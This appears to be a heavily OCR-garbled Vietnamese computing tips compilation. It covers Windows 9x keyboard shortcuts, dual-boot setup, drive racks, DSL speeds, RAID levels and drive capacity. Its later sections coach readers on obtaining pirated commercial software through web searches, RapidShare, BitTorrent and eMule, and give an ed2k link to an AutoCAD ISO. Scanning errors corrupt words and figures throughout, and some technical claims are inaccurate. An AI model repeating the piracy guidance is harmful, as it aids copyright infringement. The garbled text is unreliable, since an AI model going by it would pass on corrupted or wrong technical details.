  • Keyboard Shortcuts for Windows ME, 98SE, 98 and 95 WIá DOWS SYSTEM KEY COMBIÁ ATIOá S: F1 - Help CTRL+ESC - Open Start menu ALT+TAB - Switch between open programs ALT-FA - Quit program SHIFT+DELETE - Delete item permanently WIá DOWS PROGRAM KEY COMBIá ATIO8 S: CTRL+C - Copy CTRL+X - Cut CTRL-V - Paste CTRL+Z - Undo CTRL+B - Bold CTRL-U - Underline CTRL+I - Italic MOUSE CLICK/KEYBOARD MODIFIER COMBIá ATIOá S FOR. SHELL OBJECTS: menu) SHIFT-right click - Displays a shortcut menu containing alternative commands SHIFT+double click - Runs the alternate default command (the second item on the ALT--double click - Displays properties SHIFT+DELETE - Deletes an item immediately without placing it in the Recycle Bin GEÀ ERAL KEYBOARD-Oá LY COMMAá DS: F1 - Starts Windows Help F10 - Activates menu bar options 11 KY THUAT DIEa TOAa SHIFT+F10 - Opens a shortcut menu for the selected item (this is the same as right- clicking an object CTRL+ESC - Opens the Start menu (use the ARROW keys to select an item) CTRL+ESC or ESC - Selects the Start button (press TAB to select the taskbar, or press SHIFT+F10 for a context menu) ALT+DOWA4 ARROW - Opens a drop-down list box ALT+TAB - Switch to another running program (hold down the ALT key and then press the TAB key to view the task-switching window) SHIFT - Press and hold down the SHIFT key while you insert a CD-ROM to bypass the automatic-run feature ALT+SPACE - Displays the main window's System menu (from the System menu, you can restore, move, resize, minimize, maximize, or close the window) ALT+- (ALT+hyphen) - Displays the MultIPle Document Interface (MDI) child window's System menu (from the MDI child window's System menu, you can restore, move, resize, minimize, maximize, or close the child window) CTRL+TAB - Switch to the next child window of a MultIPle Document Interface (MDI) program ALT+ underlined letter in menu - Opens the menu ALT-FA - Closes the current window CTRL+F4 - Closes the current MultIPle Document Interface (MDI) window ALT+F6 - Switch between multIPle Windows in the same program (for example, when the 4 otepad Find dialog box is displayed, ALT+F6 switches between the Find dialog box and the main 4 otepad window) SHELL OBJECTS AND GENERAL FOLDER/WINDOWS EXPLORER SHORTCUTS: For a selected object: F2 - Rename object F3 - Find all files CTRL+X - Cut CTRL+C - Copy CTRL-V - Paste SHIFT+DELETE - Delete selection immediately, without moving the item to the Recycle Bin ALT-«EáÓ TER - Open the properties for the selected object To Copy a File: Press and hold down the CTRL key while you drag the file to another folder. To Create a Shortcut: Press and hold down CTRL+SHIFT while you drag a file to the desktop or a folder. GENERAL FOLDER/SHORTCUT CONTROL: F4 - Selects the Go To A Different Folder box and moves down the entries in the box (if the toolbar is active in Windows EXPlorer) F5 - Refreshes the current window. F6 - Moves among panes in Windows EXPlorer CTRL+G - Opens the Go To Folder tool (in Windows 95 Windows EXPlorer only) CTRL+Z - Undo the last command CTRL+A - Select all the items in the current window BACKSPACE - Switch to the parent folder SHIFT+click+ Close button - For folders, close the current folder plus all parent folders WINDOWS EXPLORER TREE CONTROL: 12 KY THUAT DIEa TOAa a umeric Keypad * - EXPands everything under the current selection å umeric Keypad + - EXPands the current selection a umeric Keypad (-) - Collapses the current selection. RIGHT ARROW - EXPands the current selection if it is not eXPanded, otherwise goes to the first child LEFT ARROW - Collapses the current selection if it is exPanded, otherwise goes to the parent PROPERTIES CONTROL: CTRL+TAB/CTRL+SHIFT+TAB - Move through the property tabs ACCESSIBILITY SHORTCUTS: Press SHIFT five times - Toggles StickyKeys on and off Press down and hold the right SHIFT key for eight seconds - Toggles FilterKeys on and off Press down and hold the 4 UM LOCK key for five seconds - Toggles ToggleKeys on and off Left ALT+left SHIFT+a UM LOCK - Toggles MouseKeys on and off Left ALTHeft SHIFT+PRI4 T SCREEA - Toggles high contrast on and off MICROSOFT NATURAL KEYBOARD KEYS: Windows Logo - Start menu Windows Logo+R - Run dialog box Windows Logo+M - Minimize all SHIFT+Windows Logo+M - Undo minimize all Windows Logo Windows Logo Windows Logo Windows Logo CTRL4 CTRL4 -Windows Logo4 -Windows Logo+TAB - Moves focus from Start, to the Quick Launch toolbar, to the system tray (use RIGHT ARROW or LEFT ARROW to move focus to items on the -F1 - Help -E - Windows EXPlorer -F - Find files or folders -D - Minimizes all open Windows and displays the desktop -F - Find computer Quick Launch toolbar and the system tray) Windows Logo Windows Logo -TAB - Cycle through taskbar buttons -Break - System Properties dialog box Application Key - Displays A Shortcut Menu For The Selected Item MICROSOFT INSTALLED: Windows Logo Windows Logo Windows Logo Windows Logo Windows Logo Windows Logo Windows Logo Windows Logo NATURAL KEYBOARD WITH INTELLITYPE SOFTWARE -L - Log off Windows -P - Starts Print Manager -C - Opens Control Panel -V - Starts ClIPboard -K - Opens Keyboard Properties dialog box +I - Opens Mouse Properties dialog box tA - Starts Accessibility Options (if installed) HSPACEBAR - Displays the list of Microsoft IntelliType shortcut keys Windows Logo DIALOG BOX TAB - Move to -S - Toggles CAPS LOCK on and off KEYBOARD COMMANDS: the next control in the dialog box SHIFT+TAB - Move to the previous control in the dialog box SPACEBAR - If the current control is a button, this clicks the button. If the current control is a check box, this toggles the check box. If the current control is an option, this selects the option. 13 KY THUAT DIEa TOAa Eá TER - Equivalent to clicking the selected button (the button with the outline) ESC - Equivalent to clicking the Cancel button ALT- underlined letter in dialog box item - Move to the corresponding item
  • Dual-boot system Dual-boot system là trong 1 HD install tir 2 Windows OS tró lên. Tùy theo loại Windows OS install cần phải chia partion và format HD trước hay không. â ếu dự định install Windows 98 hay Windows ME thì HD phải chia ra làm ít nhất 2 partitions và các partition phài format truóc. à éu chi du dinh xài Windows 2K, XP hay 2K3 thì không cần phải chia partition và format (néu HD nhỏ hơn 137 Gb) vi khi boot tir dia CD Windows 2K hay XP thi có option dé làm partition, format và install Windows luón 1 làn. Hard drive lón hon 137 Gb phái xài software bán kém vói HD mà làm partition và format HD trước (vì Windows 2K, XP và 2K3 setup không nhận ra HD lớn hơn 137 Gb): 1.- Windows 95, 98, 98SE, ME chi chon 1 trong những OS này mà thôi không thể install hét 4 OS vào chung 1 HD. Partition thứ nhất (boot) phải format bằng FAT32 2.- Windows 2K Pro, 2K Server và 2K Advanced Server: Có thé install vài OS vào trong 1 HD 3.- Windows XP Home Edition, XP Pro, Windows 2003 Server, Windows Vista: Có thé install vài OS vào trong 1 HD Theo thú tų install Windows tùr nhóm 1 tói nhóm 3 như trên và Windows nhóm 1 nén install vào partition thứ nhất thi sé khóng gáp rác rói vé sau... éu install Windows nhóm 1 vào partition 2 (D: drive), mot khi mà máy pc gắn thêm I HD nữa thì sẽ không boot vào nhóm 1 duoc vi D: drive bày giờ là partition 1 cüa HD 2 cón partition 2 cüa drive 1 bày gió là E:. Windows nhóm 2 tró lén khóng dói drive letter, chi cóng thém vào. Thí du nhu HDI có 4 partition và 2 CD-ROM thi drive letter là C:, D:, E:, F: và G: (CD-ROMI), H: (CD-ROM2). Khi gán thém HD2 vói 3 partition thi drive letter cua HD2 sé 1a I:, J:, va K: á éu ban xài dual-boot system và dà install xong Windows thuóc nhóm 3 (XP hay Vista), Windows 2K thuóc nhóm 2 bi hu và quy vi muón install lai Windows, thi truóc hét phải copy 2 files à TDETECT.COM và á TLFR từ C:\ (bao giờ cũng là C:) vào floppy disk hay vào một nơi an toàn. Install lai Windows thuóc nhóm 2, copy 2 files này vào lại C:\ thì sẽ boot vào được Windows thuộc nhóm 3. á éu Windows thuóc nhóm 1 bi hu và ban phái install lai Windows thuóc nhóm 1 thi sau đó bạn phải install lai Windows thuóc nhóm 2 và Windows thuóc nhóm 3 vi sau khi install lai Windows thuóc nhóm 1, Windows thuóc nhóm 1 dà sua cái Master Boot Record (MBR) dé boot báng IO.SYS. Luu y: Windows thuóc nhóm 1 chi làm viéc duoc vói partition format báng FAT32 thi mỗi file không thể lớn 4 Gb (movies file lớn hơn 4 Gb là thường), và không nhìn thấy partition format bang 4 TFS.
  • Mobile racks a éu quy vi can thay dói HD dé báo mát, thí du nhu xài 1 HD nhỏ để cho tiện việc download và an toàn khi vào à ET và cái HD chính khóng vào á ET thi quy vi có thé xài mobile rack dé thay dói HD duoc dé dàng... Hiện giờ trên thị trường có 2 loai mobile rack, loai cho 3.5" IDE hard drive và loai cho SATA hard drive. Cà hai loai mobile rack déu có kích thuóc có nhu CD-ROM drive. Tác già không nêu tên công ty hay nhãn hiệu nào cả...Mobile rack chỉ xài được cho desktop mà thôi và pc case phái có ít nhất còn 1 chỗ (slot) trống. Mobile rack loại nào cũng gồm có 2 phần: Một cái frame để gắn vào máy pc slot 5.25", và một cái tray dé gán cai HD. Day power va dày IDE hay dày SATA gán vào cái frame. Cái tray có dây power và dây IDE hay SATA dé gán HD vào, cái tray bién dói power và IDE pins hay SATA pin vào 1 cái quick connector dé gán cái tray vào cái frame...Đương nhiên trong cái frame có 1 tói 3 cái fans nhỏ để giải nhiệt và nút để turn Oâ hay OFF hard 14 KỸ THUẬT ĐIỆã TOÁä drive báng cái khóa. Mobile rack giá tir $10 cho loai ré tién tói $50-60 cho loai mác tién làm bằng nhóm và có features nhu hot-swap (go HD ra không cần phải exit Windows chi hot swap được HD thứ 2 mà thôi không thể hot-swap cái HD đang run Windows OS). Khi mua mobile rack cũng nên coi loại đó support tốc độ tối đa là bao nhiêu ? 133 Mb/s cho IDE hay 150 Mb/s cho SATA, và coi mobile rack dó support HD cỡ tối đa là bao nhiéu ? Có support cái có HD capacity ban dang xài ? Muón tim mua mobile rack cho IDE drive thi dánh vào Google chit mobile rack, cón muón tim mobile rack cho SATA thì đánh vào chữ SATA mobile rack thì sé search duoc các tiệm bán mobile rack. Install Windows OS vào HD gán trong mobile rack thi cüng nhu install vào HD gán bén trong máy pc...
  • DSL DSL là chữ viết tat cua Digital Subscriber Line. Tuy là 1 chit DSL nhung khác nhau về tốc độ download và upload. Tóc dó DSL thuóng tính theo Kbps = Kilobits/sec, Mbps = Megabits/sec, hay Gbps = Gigabits/sec. Vi 1 byte có 8 bits nên muốn tính đúng tốc độ phải chia số tốc độ cho 8. DSL sử dụng cho cá nhân ở nhà thì rẻ tiền hơn là loại DSL cho business. Home use: DSL sử dụng cho cá nhân có thể chia ra làm 4 hạng giá tiền đây chỉ tham khảo và áp dụng cho các Tiểu Bang mién Dóng-á am Hoa Ky và giá có thé tháp hon 1.- Fast Access DSL Lite - $24.95/month Download 256 Kbps - 256/8 = 32 Kb/s (Kilobytes/sec) Upload 128 Kbps - 16 Kb/s 2.- FastAccess DSL Ultra - $32.95/month Download 1.5 Mbps = 1500 Kbps > 187.5 Kb/s Upload: 256 Kbps -> 32 Kb/s 3.- FastAccess DSL Xtreme - $37.95/month Download 3.0 Mbps = 3000 Mbps -> 375 Kb/s Upload 384 Kbps -> 48 Kb/s 4.- FastAccess DSL Xtreme 6.0 - $46.95/month Download: 6.0 Mbps = 6000 Kbps -> 750 Kb/s Upload: 512 Kbps -> 64 Kb/s â hư quý vị thấy thì tốc độ download đó là tốc độ tối đa...nhưng thực tế thì tốc độ download sẽ chậm hơn vì còn tùy thuộc cái server cho download có giới hạn tốc độ download hay server ở xa chỗ quý vị cư ngụ...Đây là 1 thí du: Tóc dó quy vi download trung binh cho file 100 Mb là 150 Kb/s thi phải mất bao lâu mói xong ? File 100 Mb = 100x1024 Kb = 102400 Kb (trong computer 1 Mb — 1024 Kb chứ khóng phái là 1000 Kb). Thời gian download = 102400/150 — 682.6 sec - Ai cüng biét 1 phát có 60 giáy nén thói gian tính theo phüt là 682.6/60 — 11.4 phüt, tính chán là 12 phút thì download xong file 100 Mb (vi IE cón copy file tir chó tạm thời thành file). 4 goài ra néu download tir RapidShare thì quý vị còn phải mất thêm chừng 3 phút overhead, reset số IP, chờ đợi, đánh số access code v.v...nên tính ra mỗi file 100 Mb cũng phải mắt 15 phút...nên nêu quý vị xài dynamic IP thì trong 1 giờ quý vị có thể download được 4 files 100 Mb với tốc độ 150 Kb/s Các server khác thường cho download tối đa chừng 350-400 Kb/s dù đường dây DSL của quý vị có cao hơn cũng chỉ download tối đa cỡ 350-400 Kb/s. Tóc dó upload là tóc dó quy vi upload file lén MegaUpload, RapidShare, YouSendIt v.v...hay trong truong hop cdi Ita eMule, BitTorrent, BearShare v.v...quy vi upload file vào máy pc người khác (hay pc người khác đang download từ máy pc của ban). Vi vày néu cói lira hay xài BitTorrent thi giói han upload, thí du DSL có upload tói đa 48 Kb/s thi giới hạn chừng 30 Kb/s thì quý vị còn có thê xài đường dây DSL dé vào surfing...cón cho upload tói da 48 Kb/s thi máy pc cüa quy vi không vào á et duoc bandwidth xài hét... Khi xài DSL dé download mà quý vị thấy chậm thì phải tự hỏi đường dây DSL của quý vị có tốc độ cao hay thấp không phải DSL nào cũng giống nhau... Business: 15 KY THUAT DIEa TOAa Đường dáy DSL cho business thi rát mắc tiền. Hầu hết các công sở, công ty xài đường dây TI (còn gọi là DS1). Đường dây DSL xài cho business hiện giờ là fiber optic. T1 có thé xài cho công ty với 100 users. Vì đường dây TI cỡ $500/tháng...nên ít có công ty nào xài T2 hay T3-T3 có thê xài cho công ty như Microsoft-T3 giá chừng $5000-10000/tháng...Dưới đây là tốc độ các đường dáy DSL: T1 (DS1) - 1.544 Mbps - fiber optic - $500-700/month T2 (DS2) - 6.312 Mbps T3 (DS3) - 45 Mbps T4 (DS4) - 274.176 Mbps OCI - 51.84 Mbps - OC - Optical Carrier (Fiber Optic) OC3 - 155.52 Mbps OCI2 - 622.08 Mbps OC24 - 1.244 Gbps OC48 - 2.488 Gbps OC192 - 10 Gbps OC256 - 12.271 Gbps OC768 - 40 Gbps Europe (ITU) E1 - 2.048 Mbps E2 - 8.448 Mbps E3 - 34.368 Mbps E4 - 139.264 Mbps E5 - 565.148 Mpbs
  • RAID là gì ? á ám 1988, David A. Patterson, Garth A. Gibson và Randy H. Katz viết một luận đề về A Case for Redundant Arrays of IneXPensive Disks (RAID) dinh nghia 5 truóng hop RAID tir cap | tói cáp 5. Thói dó cái HD cüa IBM có duóng kính 11 inch và giá là $18/megabyte, cái HD dó chi có 7.5 Gb giá hon US$150,000. Sau nầy chữ RAID định nghĩa lai la Redundant Array of Independent Disks. Bai viét nguyén tác cüa Patterson và ban hüru quý vị có thể download về đọc và tham khảo: http://www.cs.cmu.edu/-garth/RAIDpaper/Patterson88.pdf Các công ty xài RAID không phải dé bào vé data vi data déu backup hang ngay...Xai RAID dé tang tóc làm viéc cüa HD hay ít mát thi gió khi mót HD trong hé thóng HD bi hu thi hé thóng vàn làm viéc duoc (tuy hoi chám chó tói khi cái HD bi hu thay thé cái khác thi nguyén hé thong RAID sé tu tao lai data... â hư đã giới thiệu ở trên trong bài luán cüa Patteroson chi có 5 truóng hop RAID tir 1 tới 5, nhiều công ty đã dựa vào đó mà tăng lên cấp 0, 6, 50 (5+0), 0+1, và 1+0 v.v... Raid có 2 loai hardware và software. Hardware raid can phải xài tới 1 cdi Raid controller nhiều motherboard hiện đại có loại cũng có Raid nhưng không hay bằng 1 cái Raid controller riêng rẽ. Software raid chỉ có Linux có mà thói các OS khác nhu Windows, Solaris khóng support software raid. HD xài cho Raid thuóng là SCSI, IDE hay SATA raid cùng có nhung khóng duoc hay báng SCSI HD.
  • Raid 0 goi là tóng hop (strIPe) trong hé théng nay téng hop nhiéu HD lai thành 1 cái HD. Thí du quy vi nháp 4 cái HD 100 Gb lai thành 1 cái HD 400 Gb thi hé thóng tóng hop làm viéc nhanh hon là 1 cái HD 400 Gb. Thí du khi write 8 blocks data thi Raid 0 sé write 4 blocks vào 4 HD cùng 1 lúc nhu block A vào HDI, B vào HD2...D vào HD4, rồi tiếp tục với 4 blocks ké tiép trong khi dé 1 HD 400 Gb thi phai write 8 blocks theo thứ tự liên tiếp từ 1 tới 10 nên chậm hơn. Raid 0 cần tối thiéu 2 HD. 4 éu 1 HD trong hé thong Raid 0 bị hu thi tat cả data déu bị mat. Xai Raid 0 1a dé làm viéc nhanh mà thôi. 16 KY THUAT DIEa TOAa
  • Raid 1 goi là Mirror & duplexing - tói thiéu 2 HD, khi write data vào HDI thi cüng data write vào HD2... Vi hé thóng Raid 1 phài write 2 làn nén làm viéc chám lai - á éu HDI bi hu thi cón cái HD2 (mirror).
  • Raid 2 là Hamming Code ECC - chỉ có trên lý thuyết không áp dụng được vì khó thực hành...
  • Raid 3 là Parallel Transfer with Parity Mấy nhà sản xuất raid controller không làm cái controller loai raid 3 quý vị muốn xài phải mua nguyên 1 hệ thống raid 3 góm có raid controller và HDs nhu trong hình dưới đây (JetStor SATA 416$S, JetStor SATA 4128, JetStor SATA 416F) Raid 3 ít thóng dung
  • Raid 4 là Independent Data disks with Shared Parity Disk - muón xài Raid 4 thi phải có tối thiểu 3 HD. Không thông dụng
  • Raid 5 là Independent Data Disk with Distributed Parity Blocks tối thiểu 3 HDs nhưng tốt là 5 HDs tối đa là 7 HDs. Capacity của hệt thống raid 5 là số capacity củ aHD nhỏ nhất nhân với tổng số HD trừ 1. Thí dụ 5 cái HD 100 Gb thì capacity của raid 5 là 100*(5-1) — 400 Gb. Mót HD trong Raid 5 bị hư chỉ thay cái HD mới vào thi raid 5 sé tu dóng re-built lai data cán cit vào cái parity blocks (hay cón goi là error coding). à éu 2 HD trong raid 5 bi hư cùng lúc thì tất cả data déu mát. Raid 5 rất thông dụng _ 6. Raid 6 1a Independent Data Disk with 2 Independent Distributed Parity Schemes - toi thiéu 4 HDs. Raid 6 cüng gióng nhu Raid 5 nhung trong hé thóng raid 6 có tói 2 cái parity blocks nén trong raid 6 néu 2 cái HD bi hu cùng lúc thi raid 6 có thé tu tao data lai 3 HD bi hu thì cũng mắt hết data. Muốn xài raid 6 phải mua nguyên 1 hé thóng raid 6 va HDs ban san
  • Raid 50 là Raid 5 + Raid 0 - tối thiêu 6 HDs - loại này bán sẵn như JetStor SATA 4168, JetStor SATA 4125, JetStor SATA 416F Từ đây có 2 thứ hay bị hiểu nhằm lẫn...Raid X+Y thì không giống như Raid Y+X â hiều nhà làm raid controller có option là raid 0+1 nhưng nêu viết cho gọn lại là raid 01 thi sợ người ta hiểu làm là raid 1 (vì số 01 cùng như số 1) nên tự đặt tên lại là raid 10. a hiéu nhà làm raid controller có option là raid 1+0 cüng muôn viét gon lai là raid 10 nhung raid 0+1 và raid 1+0 là hai thứ tuy cách làm việc giống nhau nhưng độ bên rất là khác nhau. Vì vậy nhiều khi raid 10 không biết là muốn nói tới raid 0+1 hay raid 1+0 8 Raid 0+1 thường gọi là A Mirror of StrIPes một nhánh tổng hợp nhiều HD tồi xài 1 hệ thống tổng hợp HD thứ 2 đề làm mirror hệ thống tổng hợp thứ nhất cần tối thiểu 4 HD.
  • Raid 1*0 (raid 10) — Raid 1 * Raid 0 cón goi là A StrIPe of Mirrors xài nhiều HDs dé làm mirror rồi nhiều hệ thống mirror tổng hợp lại thành một hệ thống (strIP). Đây là reliability giữa raid 0+1 và raid 1+0 trong thi dụ này xài 10 HDs
  • Trong raid 0+1 tổng họp HD1, HD2, HD3, HD4, HDS thành I nhánh (strIPe) tạm goi là nhánh A. Xài HD6, HD7, HD8, HD9, HD10 làm mirror nhánh A và gọi nhánh thứ hai này là nhánh B (mirror) vì vậy mà gọi là mirror of strIPes. â ếu HD2 trong nhánh A bị hư, thi tat cà HD trong nhánh A (raid 0) bị hư. Raid 0+1 vẫn tiếp tục làm việc vì còn nhánh B. á éu trong khi chó doi dé thay thé HD2 trong nhánh A mà HD9 trong nhánh B bị hư thì cả hai nhánh A và B đều bị hư (hay hệt thống raid 0+1 bị hư hoàn toàn)
  • Trong Raid 1+0 thì xài HD2 làm mirror cho HDI goi là nhánh A, HD4 làm mirror cho HD3 goi là nhánh B...tuong tu HD10 làm mirror cho HD9 goi là nhánh E có 5 nhánh raid 1 (mirror). Tóng hop 5 nhánh A, B, C, D, E lai thành 1 hé thóng raid 0 nén goi là a strIPe of mirrors. à éu HD2 bi hu thi chi có nhánh A bi ánh huóng nhung vàn cón HDI nén nhánh A vàn cón tót nén hé thóng raid 1--0 vàn làm việc bình thường. å éu trong thời gian chờ thay thế HD2 ma HD9 bị hư thì nhánh E vẫn còn HD10 nên hê thong raid 1+0 van lam viéc binh thường...Chỉ có khi nào mà cả hai HD trong cùng 1 nhánh bị hu thi ca hé thong raid 1+0 mới bị hư vì vậy hệ thống raid 1+0 (hay raid 10) làm việc hay hơn là raid 0+] Trở về trường hợp raid 0+1, nếu cái raid controller được program smart (già su có khói óc con nguói)...thi néu HD2 bi hu thi controller bó HD2 qua mót bén chi tong hop 4 HD 17 KỸ THUẬT ĐIỆã TOÁä là HD1, HD3, HD4 và HD5 thì nhánh A vẫn làm việc bình thường...ã éu HD9 bị hư thi raid controller đáng lẽ phải xài HD4 vì HD4 chứa cùng data...ẩ êu cái raid controller smart thi raid 0--1 cüng làm viéc bén nhu raid 1+0...nhung ma raid controller thi lai khóng duoc smart nhu COn người...
  • Raid 7 â hãn hiệu cầu chứng cüa Storage Computer Corporation thêm phan caching cho raid 3 và raid 4
  • Raid S hệ thống raid của EMC Corporation Tóm lai chi co Raid 0, Raid 1, Raid 5, Raid 50, Raid 0+1, va Raid 10 (raid 1+0) là thong dung...
  • Làm sao mà raid 5 có thé re-build duc data ? Khi 1 HD trong hé thóng raid 5 bị hu thì chỉ cần thay cái HD bị hư bằng cái HD trống (dà format) vào trong raid 5 thì hệ thống raid 5 sč tų re-build lai data chúa trong HD bị hư... làm sao mà làm được vậy ? Raid 5 re-build lai data duoc nhờ cái parity block hay error code Raid 5 duoc program riêng nhưng cách này để giải thích đơn giản như sau: Thí dụ trong hệ thống raid 5 xài 5 cái HD thi mói khi write 4 blocks data thi raid 5 làm I cái parity block vói 2 dinh luát nhu sau:
  • 4 éu tông ső bits nhiều nhất là số lẻ thì đáp số là số 1
  • 4 éu tong sé bits nhiều nhất là số chan thi đáp số là số 0 Tt du data chứa trong mỗi HD (bít level) là 1 0 1 1 thì tổng cộng bit nhiều nhất là 3 số lẻ thì theo định luật 1 thi cái parity phài viét vào HD5 là 1 nhu váy 5 HDs chứa data như sau: 10111 .. - Giá si HDI bi hu thi khi doc data tr HD2 tói HD5 sé là (dau - 14 HD bi hu) - 0111 thì tổng số bit nhiều nhất là sé 1é (3) thì HD1 phái chira só 1 (dinh luật 1).
  • Giả sử HD2 bị hư thi khi doc data từ 4 HD còn lại là 1 - 1 1 1 thì tổng số bit nhiều nhất là só chán (4) nén theo định luậ 2 th HD2 phải chứa số 0
  • Giả sử HD4 bị hư thì khi đọc lai data 14 1 0 1 - 1 thi tong số bit là số lẻ thì HD4 phải chứa số 1 a hư vậy nếu bất cü 1 HD nào trong hệ thống raid 5 bị hu thi raid 5 có thé re-build lai data dé dàng...
  • Hard drive bi teo sau khi format ? Bát cit hard drive nào cỡ bao nhiêu cũng đều bị giảm số lượng lưu trữ...thí dụ HD 80 Gb thi sau khi format chi còn lai ching 74.5 Gb, con HD 160 GB sau khi format chi còn lại 149 Gb...HD bi teo nén mát di 6.9% số lượng lưu trữ ? Có 2 ly do:
  • May nha san xuat hard drive dinh nghia 1 Kb — 1,000 bytes, và I Mb — 1,000 Kb - nén 1 Mb - 1,000,000 bytes (tính theo thập phân)...trong khi dó Windows và computer cán cứ vào co só 2 (binary) nén dinh nghia 1 Kb — 1,024 bytes và 1 Mb — 1,024 Kb, vi váy 1 Mb = 1,048,576 bytes. Muón tính có HD thi lẫy cỡ HD chia cho số 1.048576 (số lượng lưu trữ giảm đi 4.86% chỉ vì cách định nghĩa số lượng khác nhau). HD 80 Gb = 80/1.048576 = 76.2 Gb, HD 160 Gb thi capacity = 160/1.048576 = 152.58 Gb.
  • Số lượng trên chỉ tính đúng nêu chưa xài gì cả Windows cần làm cái bảng mục lục để ghi files sẽ giữ ở đâu: Track nào, sector nào trên HD và file đó tên gì, cỡ file bao nhiêu v.v..nén xài cái FAT32 table hay â TFS không phải một bản copy mà xài tới 2 bản copy phòng hờ 1 bản bị hư thì còn bản thứ hai (ngay cả xài hai bản copy, HD vẫn bị hư như thường) nên xài đi một số lượng HD, HD càng lớn thì cái bản FAT32 hay 4 TFS cang lon... nén HD 80 Gb sau khi format còn lai 74.5 Gb va HD 160 Gb con ching 149 Gb. 18 KY THUAT DIEa TOAa Tính don giàn là láy có HD chia cho 1.07 sé duoc só có HD cón lai sau khi format... (hoi nhó hon só trong Windows display).
  • Di thinh chán kinh... Chân kinh hạng nặng hay hạng nhẹ hễ mới ra lò thì cón dé kiếm...loại chân kinh cô lễ sĩ thì càng khó kiếm vì bị thất truyền nhiều chỗ không còn chứa.. .Muốn thỉnh chân kinh nào cũng phải kiên nhẫn đừng bao giờ cần gáp...néu càn gáp có ngay thì vào tiêm mua.. Chân kinh nói chung có 3 nơi: webserver hay ftp, các noi upload nhu RapidShare, MegaUpload...và san sẻ file qua nhiều máy pc gọi là P2P (Peer-to-peer).
  • Web Server, Ftp Server công cộng hay tư nhân nhiều web server không chứa chân

    kinh hạng nặng hơn 50 Mb vì hao bandwidth nhiều server chỉ có giới hạn số bandwidth, thí dụ 6 Gb/tháng mà chứa chân kinh hạng nặng thì chỉ trong vòng 1 ngày có nhiều người vào download thi 6 Gb/tháng sé hét thi phài đóng cửa chùa chờ tới tháng tới mới mở lại hay phải trả thêm tiền...â hiều nơi mở ra cũng để nhận tiền quảng cáo nên chứa thêm ma nữ. 4 hiéu chùa Tàu cũng đúng cửa vì thiếu tiền nhang khói chân kinh hạng nặng từ 100 Mb trở lên các chùa Tàu không chứa nữa. Muốn download tir web server, ftp thì phải search từ Google đánh cái tên chân kinh kèm thêm cht download báng tiéng Tàu nhu Encore DVD 2.0 FE, hay muốn thêm chữ tiếng Anh (không muốn download bản tiếng Tàu) thì đánh thêm chữ Ăng-Lê nhu Encore DVD 2.0 Fš§

    4X...Từ đây vào từng trang mà tìm...Đương nhiên con đường đi

    thỉnh phải kiên nhẫn mới tìm ra ngọc quý còn mấy thứ junkware thì nhan nhản trên thế... gian đầy gian xảo...
  • RapidShare, MegaUpload, Uploading... Cac site này mở ra dé kiếm tiền người sử dụng hàng tháng hay hàng năm. Free account cũng download được nhưng bị giới hạn...Chân kinh cũng khó tìm từ RapidShare hay MegaUpload chỉ có những người nào upload xong phổ biến download links vào các trang forum khác thì mới biết links. Vào Google search tên chân kinh với chữ rapidshare cũng có thê tìm link download...nhưng nhiều khi download về cũng không có chìa khóa để mở thì cũng không xài được. Hầu hết chân kinh tir RapidShare hay MegaUpload đều phải có chìa khóa vì người upload không muốn lọt vào tay gian xảo hay giới chức thâm quyền không mở được thì không biết cái gì...Đôi khi tên file không ăn nhậu gì tới tên chân kinh.
  • File sharing P2P Day la cach san sé files tu nhiéu may pe khac voi download tir web server, ftp hay RapidShare là khi muón download file thi phai làm công quả upload. Cách chia file là chỉ có 1 người làm tùng (seeds) có đủ một bộ chân kinh gôm có nhiều phần nhỏ chia cho những người nào muốn download gọi là leechers, những leechers sau khi nhan được từng phần nhỏ xong thì chia sẻ với nhau (upload cho người khác). Có rất nhiều software dùng để chia sé file goi chung là Peer-to-Peer client nhu BitLord, eMule, BearShare, LimeWire v.v.. 3.1 BitTorrent BitTorrent là loai chia sé file càn có software client nhu BitLord, BitComet v.v...Quy vi chi càn download cái file có cái duói.torrent file này chỉ chứa tên chân kinh, có bao nhiéu phàn và nhüng phàn dó ó trong máy pc nào. Xài BitLord, BitComet dé mó cái file.torrent mà download chân kinh, chân kinh hạng nặng 600 Mb thì cũng phải mất cả ngày mới downlaod xong, chân kinh có 1 dia DVD 4.5 Gb thì cũng phải mất vài ba ngày...BitLord có phan search trong program có thé tim chan kinh chứa ở đâu ma download vé...Quy vi cüng có thé vào các site torrent nhu www.mininova.org mà tim danh sách chán kinh mà thinh vê.. 3.2 eDonkey, eMule Cách chia sé file theo eDonkey cùng tuong tu nhu BitTorrent nhung xài software nhu eDonkey, eMule, eMule Plus v.v...Trong só software thi eMule Plus là hay nhát...Khi xài eMule mà nói vào dé download bi LowID là tai cái firewall hay router chua setup düng..Trong Firewall nhu ZoneAlarm phải mó cóng (port) 4242 cho Donkey Server), 4662 cho RazorBack 2.0, hay 3000 cho BigBang thi trong custom security check máy 19 KY THUAT DIEa TOAa ô mó cóng TCP 3000, 4242, 4661 và UDP cũng phải mở cóng 3000, 4242, 4661... goài ra trong cái router cüng phái chon Port Triggering (khóng xài Port Forwarding) và chon cái Port Triggering nào muón xài thí dụ 4242 cho DonkeyServer và chọn mở cổng từ 3000 (start) tới 4661 (end) thì khi nối vào mấy cái server mói duoc HighID. Khi xài eMule mà có LowID chỉ nối được vào máy pc của những người có HighID, nhüng máy pc có HighID thi sé nói được vào máy pc vói HighID và LowID. à goài ra khi LowID mà search thi chi hién ra tói da 150 hàng tén chán hinh, cón HighID khi search sé hién ra tói da 300 hàng danh sách chán kinh. Link download bằng eDonkey đêu bắt đầu bằng chữ ed2k (ký hiệu từ software eDonkey
  • và có 3 phần thí dụ như: ed2k://|file|Autodesk. Autocad.Electrical.2006.iso|569061376|D7EBE6FF929DE6CC8 CB5294F4CD2FD2F|/ 3.2.1. Autodesk.Autocad.Electrical.2006.iso tên của chân kinh 3.2.2. 569061376 = cỡ file tính bằng bytes chia số nầy cho 1,048,576 là cỡ file là 542.7 Mb (=569061376/1048576) 3.2.3. D7EBE6FF929DE6CC8CB5294F4CD2FD2E gọi là hash number...32-bit checksum... â hững software P2P khác như BearShare, LimeWire v.v..déu làm việc như BitTorrent hay eMule nhiều P2P chỉ dé download nhac, film...eMule thi download duoc nhéu chan kinh hon 1a BitTorrent... Download báng P2P thi cüng an toàn nhu download tir các noi khác.. nhiều người SỢ máy bị spyware xâm nhập thì đừng download.. .Muốn ăn hột gà...thì phải chui xuống gầm øiường...còn muốn ăn nguyên con gà...thì chờ người ta đem gà ra cúng cô hồn tới mà giụt đại...
  • Cách xài 1 hard drive dé di download chuyên nghiệp:
